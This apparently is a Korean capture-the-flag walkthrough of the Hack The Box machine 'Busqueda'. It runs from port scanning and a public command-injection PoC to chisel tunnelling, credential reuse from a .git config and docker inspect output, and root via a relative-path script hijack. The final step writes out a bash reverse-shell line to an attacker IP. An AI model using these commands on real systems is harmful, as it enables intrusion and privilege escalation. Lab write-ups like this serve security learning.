Busqueda

meowyeok

HTB|Jul 24, 2026|Last edited: Jul 24, 2026|
notion image

Reconnaissance

nmap -sV -p 1-10000 10.129.228.217
notion image
  • 22, 80 포트만 오픈되어있다.
 
notion image
  • Searcher라는 서비스가 돌고있었다. 잠깐봐도 검색 엔진과 검색어를 정하면 바로 검색 URL쿼리를 생성해주고, 옵션을 체크하면 redirect까지도 바로 해주는 서비스였다.
  • HTTP 요청들이 어떻게 오고가고있나 먼저 burp로 봐주었다.
 
notion image
  • 근데 보자마자 github 주소와 버전정보가 있길래 검색해보니 바로 명령어 삽입 CVE가 존재하였다.
 

Exploitation

rlwrap nc -lvnp 9001
./exploit.sh http://searcher.htb 10.10.15.88 9001
notion image
notion image
  • poc를 활용해 수월하게 svc유저의 쉘을 획득할 수 있었다.
  • user flag 획득!!
 

Privilege Escalation

python3 -c 'import pty; pty.spawn("/bin/bash")'
notion image
  • 먼저 sudo -l 시도를 위해 full tty로 변경한후에 시도했더니 비밀번호를 필요로 하였다.
 
ss -tln
notion image
  • 여기저기 열심히 찾아보다가 내부망에 어떤 서버들이 돌아가는지 체크해보았다.
  • 웹 서비스로 추정되는 3000, 5000과 mysql일거같은 3306이 눈에 띄었다.
  • 브라우저로 내부 웹서비스에 접속하기 위해 chisel로 터널링을 수행하였다.
 
chisel server -p 10000 -reverse
chisel client 10.129.228.217:10000 R:socks
notion image
notion image
  • localhost:3000주소에 내부망에서 돌고있는 gitea를 확인했다.
  • gitea 1.18.0 버전이 설치되어있었는데 권한상승에 활용할만한 CVE는 딱히 없었다.
 
notion image
  • users에 administrator와 cody라는 유저가 존재하고, 로그인하지 않은 상태에서는 다른 정보를 알 수 가 없었다.
  • 아마 크리덴셜을 먼저 확보해야할것같다.
 
notion image
  • /var/www/app/.git 경로 config 파일에서 cody의 크리덴셜을 발견하였다!
  • ( cody / jh1usoih2bkjaspwe92 )
 
notion image
  • cody로 로그인에 성공하였다.
  • 하지만 내부에는 이미 봤던 sercher 서비스의 repository만 존재했다.
 
notion image
  • sudo의 비밀번호로 같은 값을 사용해봤는데 같은 비밀번호를 사용하고 있었다!
 
notion image
  • 일단 sudo로 system-checkup.py를 실행해봤는데 안되길래 아무 옵션을 붙여서 넣어주니 Usage와 함께 잘 실행이 되었다.
  • docker 체크용 스크립트인듯 하다.
 
notion image
  • full-checkup과 docker-ps는 옵션으로 넣어주니 잘 돌아갔지만 docker-inspect 옵션은 format과 conrainer_name 인자를 필요로 했다.
  • format엔 대충 json, txt 등등을 넣어봤는데 안돼서 구글링을 해보았다.
 
notion image
  • 이런식으로 docker 공식 사이트에 잘 정리되어 있었다.
  • docker-inspect는 기본적으로 docker low level의 정보들을 json 형태로 제공하는 옵션이었다.
 
sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' mysql_db
notion image
  • {{json .Config format}}을 넣어주니 mysql의 root password와 gitea의 db 연결정보를 얻었다.
  • db를 먼저 접속해서 살펴봤는데 딱히 건질게 없었다.
 
notion image
  • 앞서 얻어낸 크리덴셜중 gitea의 비밀번호를 administrator의 비밀번호로 입력하니 로그인에 성공하였다!
  • 앞에서는 확인할 수 없었던 scripts의 코드들을 모두 볼 수 있었다.
  • 먼저 docker-inspect action만 사용자 입력을 받아서 run_command() 함수에 넘겨 실행하기에 command injection이 의심되었지만 subprocess.run()은 이러한 공격을 막아내기에 이 방법은 아니었다.
  • 또 이상한 부분이 하나 있는데 바로 arg_list = ['./full-checkup.sh'] 이부분이다, 이처럼 상대경로로 실행해버리면 현재 폴더부터 찾게되는 특징을 활용해서 내가 원하는 스크립트를 사용하게 할 수 있다.
 
echo 'bash -c "bash -i >& /dev/tcp/10.10.15.88/9002 0>&1"' >> full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
notion image
notion image
  • 역시 /tmp에서 생성한 뒤에 바로 sudo로 system-checkup.py를 full-checkup 옵션과 함께 실행하니 현재 경로인 /tmp부터 찾아서 실행되어 root로의 리버스셸이 연결되었다
  • root flag 획득!!
 
Loading...